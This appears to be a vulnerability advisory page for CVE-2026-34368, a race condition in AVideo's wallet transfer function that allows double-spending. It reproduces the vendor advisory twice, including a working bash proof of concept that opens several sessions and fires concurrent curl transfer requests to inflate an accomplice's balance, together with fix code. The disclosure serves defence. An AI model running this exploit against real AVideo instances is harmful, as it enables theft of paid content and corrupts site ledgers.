CVE-2026-34368: Wwbn/avideo AVideo Vulnerable To Wallet Balance Vulnerability

MODERATE
Advisory Identifier: GHSA-h54m-c522-h6qr
CVSS 5.3
CWE-362
Published
Advisory Summary

CVE-2026-34368 is a MODERATE (CVSS 5.3) avideo vulnerable to wallet balance vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to wallet balance double-spend via toctou race condition in transferbalance. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34368 at a Glance

CVE Identifier CVE-2026-34368
GHSA Identifier GHSA-h54m-c522-h6qr
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-34368

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34368, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. ## Details The vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`: ```php // Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE) $senderWallet = self::getWallet($fromUserId); $senderBalance = $senderWallet->getBalance(); $senderNewBalance = $senderBalance - $amount; // Line 477: CHECK - verify sufficient funds in PHP if ($senderNewBalance < 0) { return false; } // Line 486-487: WRITE - set new balance (plain UPDATE) $senderWallet->setBalance($senderNewBalance); $senderWalletId = $senderWallet->save(); // Line 497-502: Credit receiver (also plain SELECT + UPDATE) $receiverWallet = self::getWallet($toUserId); $receiverBalance = $receiverWallet->getBalance(); $receiverNewBalance = $receiverBalance + $amount; $receiverWallet->setBalance($receiverNewBalance); $receiverWalletId = $receiverWallet->save(); ``` The `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` — no transaction wrapping. **Race window**: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request. **Why concurrent requests succeed**: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION['palavra']` without unsetting it after validation, allowing unlimited reuse within each session. Entry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value'])` — requires only `User::isLogged()` and a valid captcha. ## PoC ```bash # Prerequisites: Attacker has a registered account with $10 wallet balance # Accomplice has a registered account (recipient) TARGET="https://target-avideo-instance" ACCOMPLICE_ID=123 # recipient user ID # Step 1: Create 5 independent sessions for the same attacker account declare -a SESSIONS declare -a CAPTCHA_ANSWERS for i in $(seq 1 5); do # Login and capture session cookie COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \ -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}') # Load captcha to populate $_SESSION['palavra'] curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png" SESSIONS[$i]=$COOKIE echo "Session $i: $COOKIE — solve captcha_$i.png manually" done # Step 2: After solving captchas, fire all 5 transfer requests simultaneously # Each requests $10 transfer — all will read balance=$10 concurrently for i in $(seq 1 5); do curl -s -b "PHPSESSID=${SESSIONS[$i]}" \ "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \ -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" & done wait # Expected result: # - Attacker balance: $0 (last write wins, sets balance to 10-10=0) # - Accomplice balance: credited $10 x N successful races (up to $50) # - Net money created from nothing: up to $40 ``` ## Impact An authenticated attacker can exploit this race condition to: - **Create wallet balance from nothing**: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10. - **Bypass pay-per-view charges**: Inflate wallet balance, then purchase paid content without real payment. - **Bypass subscription fees**: Use inflated balance to purchase subscriptions. - **Financial integrity compromise**: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits. The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting. ## Recommended Fix Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking: ```php public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false) { global $global; // ... existing auth and validation checks ... $amount = floatval($amount); if ($amount <= 0) { return false; } // Use a database transaction with row-level locking $global['mysqli']->autocommit(false); $global['mysqli']->begin_transaction(); try { // Lock sender row and read balance atomically $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("i", $fromUserId); $stmt->execute(); $result = $stmt->get_result(); $senderRow = $result->fetch_assoc(); $stmt->close(); if (empty($senderRow)) { $global['mysqli']->rollback(); return false; } $senderBalance = floatval($senderRow['balance']); $senderNewBalance = $senderBalance - $amount; if ($senderNewBalance < 0) { $global['mysqli']->rollback(); return false; } // Atomic deduction $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount); $stmt->execute(); if ($stmt->affected_rows === 0) { $global['mysqli']->rollback(); $stmt->close(); return false; } $stmt->close(); // Credit receiver (also locked) $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("i", $toUserId); $stmt->execute(); $result = $stmt->get_result(); $receiverRow = $result->fetch_assoc(); $stmt->close(); $receiverNewBalance = floatval($receiverRow['balance']) + $amount; $sql = "UPDATE wallet SET balance = ? WHERE id = ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']); $stmt->execute(); $stmt->close(); $global['mysqli']->commit(); // ... log entries ... } catch (Exception $e) { $global['mysqli']->rollback(); return false; } finally { $global['mysqli']->autocommit(true); } } ``` Additionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION['palavra']` after successful validation: ```php public static function validation($word) { // ... existing checks ... $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0); if ($validation) { unset($_SESSION["palavra"]); // Consume the captcha token } return $validation; } ```

CVE-2026-34368 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34368?
CVE-2026-34368 is a security vulnerability in Wwbn/avideo involving AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34368?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34368?
CVE-2026-34368 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-34368?
CVE-2026-34368 is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check Packagist dependencies for CVE-2026-34368?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h54m-c522-h6qr",
  "modified" : "2026-03-30T17:51:12Z",
  "published" : "2026-03-30T17:51:12Z",
  "aliases" : [ "CVE-2026-34368" ],
  "summary" : "AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance",
  "details" : "## Summary\n\nThe `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.\n\n## Details\n\nThe vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`:\n\n```php\n// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)\n$senderWallet = self::getWallet($fromUserId);\n$senderBalance = $senderWallet->getBalance();\n$senderNewBalance = $senderBalance - $amount;\n\n// Line 477: CHECK - verify sufficient funds in PHP\nif ($senderNewBalance < 0) {\n    return false;\n}\n\n// Line 486-487: WRITE - set new balance (plain UPDATE)\n$senderWallet->setBalance($senderNewBalance);\n$senderWalletId = $senderWallet->save();\n\n// Line 497-502: Credit receiver (also plain SELECT + UPDATE)\n$receiverWallet = self::getWallet($toUserId);\n$receiverBalance = $receiverWallet->getBalance();\n$receiverNewBalance = $receiverBalance + $amount;\n$receiverWallet->setBalance($receiverNewBalance);\n$receiverWalletId = $receiverWallet->save();\n```\n\nThe `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` — no transaction wrapping.\n\n**Race window**: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.\n\n**Why concurrent requests succeed**: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION['palavra']` without unsetting it after validation, allowing unlimited reuse within each session.\n\nEntry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value'])` — requires only `User::isLogged()` and a valid captcha.\n\n## PoC\n\n```bash\n# Prerequisites: Attacker has a registered account with $10 wallet balance\n# Accomplice has a registered account (recipient)\n\nTARGET=\"https://target-avideo-instance\"\nACCOMPLICE_ID=123  # recipient user ID\n\n# Step 1: Create 5 independent sessions for the same attacker account\ndeclare -a SESSIONS\ndeclare -a CAPTCHA_ANSWERS\n\nfor i in $(seq 1 5); do\n  # Login and capture session cookie\n  COOKIE=$(curl -s -c - \"$TARGET/objects/login.json.php\" \\\n    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')\n  \n  # Load captcha to populate $_SESSION['palavra']\n  curl -s -b \"PHPSESSID=$COOKIE\" \"$TARGET/objects/captcha.php\" -o \"captcha_$i.png\"\n  \n  SESSIONS[$i]=$COOKIE\n  echo \"Session $i: $COOKIE — solve captcha_$i.png manually\"\ndone\n\n# Step 2: After solving captchas, fire all 5 transfer requests simultaneously\n# Each requests $10 transfer — all will read balance=$10 concurrently\nfor i in $(seq 1 5); do\n  curl -s -b \"PHPSESSID=${SESSIONS[$i]}\" \\\n    \"$TARGET/plugin/YPTWallet/view/transferFunds.json.php\" \\\n    -d \"users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}\" &\ndone\nwait\n\n# Expected result:\n# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)\n# - Accomplice balance: credited $10 x N successful races (up to $50)\n# - Net money created from nothing: up to $40\n```\n\n## Impact\n\nAn authenticated attacker can exploit this race condition to:\n\n- **Create wallet balance from nothing**: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.\n- **Bypass pay-per-view charges**: Inflate wallet balance, then purchase paid content without real payment.\n- **Bypass subscription fees**: Use inflated balance to purchase subscriptions.\n- **Financial integrity compromise**: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.\n\nThe attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.\n\n## Recommended Fix\n\nReplace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:\n\n```php\npublic static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = \"\", $forceTransfer = false)\n{\n    global $global;\n    \n    // ... existing auth and validation checks ...\n    \n    $amount = floatval($amount);\n    if ($amount <= 0) {\n        return false;\n    }\n\n    // Use a database transaction with row-level locking\n    $global['mysqli']->autocommit(false);\n    $global['mysqli']->begin_transaction();\n    \n    try {\n        // Lock sender row and read balance atomically\n        $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"i\", $fromUserId);\n        $stmt->execute();\n        $result = $stmt->get_result();\n        $senderRow = $result->fetch_assoc();\n        $stmt->close();\n        \n        if (empty($senderRow)) {\n            $global['mysqli']->rollback();\n            return false;\n        }\n        \n        $senderBalance = floatval($senderRow['balance']);\n        $senderNewBalance = $senderBalance - $amount;\n        \n        if ($senderNewBalance < 0) {\n            $global['mysqli']->rollback();\n            return false;\n        }\n        \n        // Atomic deduction\n        $sql = \"UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"did\", $senderNewBalance, $senderRow['id'], $amount);\n        $stmt->execute();\n        \n        if ($stmt->affected_rows === 0) {\n            $global['mysqli']->rollback();\n            $stmt->close();\n            return false;\n        }\n        $stmt->close();\n        \n        // Credit receiver (also locked)\n        $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"i\", $toUserId);\n        $stmt->execute();\n        $result = $stmt->get_result();\n        $receiverRow = $result->fetch_assoc();\n        $stmt->close();\n        \n        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;\n        $sql = \"UPDATE wallet SET balance = ? WHERE id = ?\";\n        $stmt = $global['mysqli']->prepare($sql);\n        $stmt->bind_param(\"di\", $receiverNewBalance, $receiverRow['id']);\n        $stmt->execute();\n        $stmt->close();\n        \n        $global['mysqli']->commit();\n        \n        // ... log entries ...\n        \n    } catch (Exception $e) {\n        $global['mysqli']->rollback();\n        return false;\n    } finally {\n        $global['mysqli']->autocommit(true);\n    }\n}\n```\n\nAdditionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION['palavra']` after successful validation:\n\n```php\npublic static function validation($word)\n{\n    // ... existing checks ...\n    $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n    if ($validation) {\n        unset($_SESSION[\"palavra\"]); // Consume the captcha token\n    }\n    return $validation;\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34368"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/34132ad5159784bfc7ba0d7634bb5c79b769202d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T17:51:12Z",
    "nvd_published_at" : "2026-03-27T18:16:05Z"
  }
}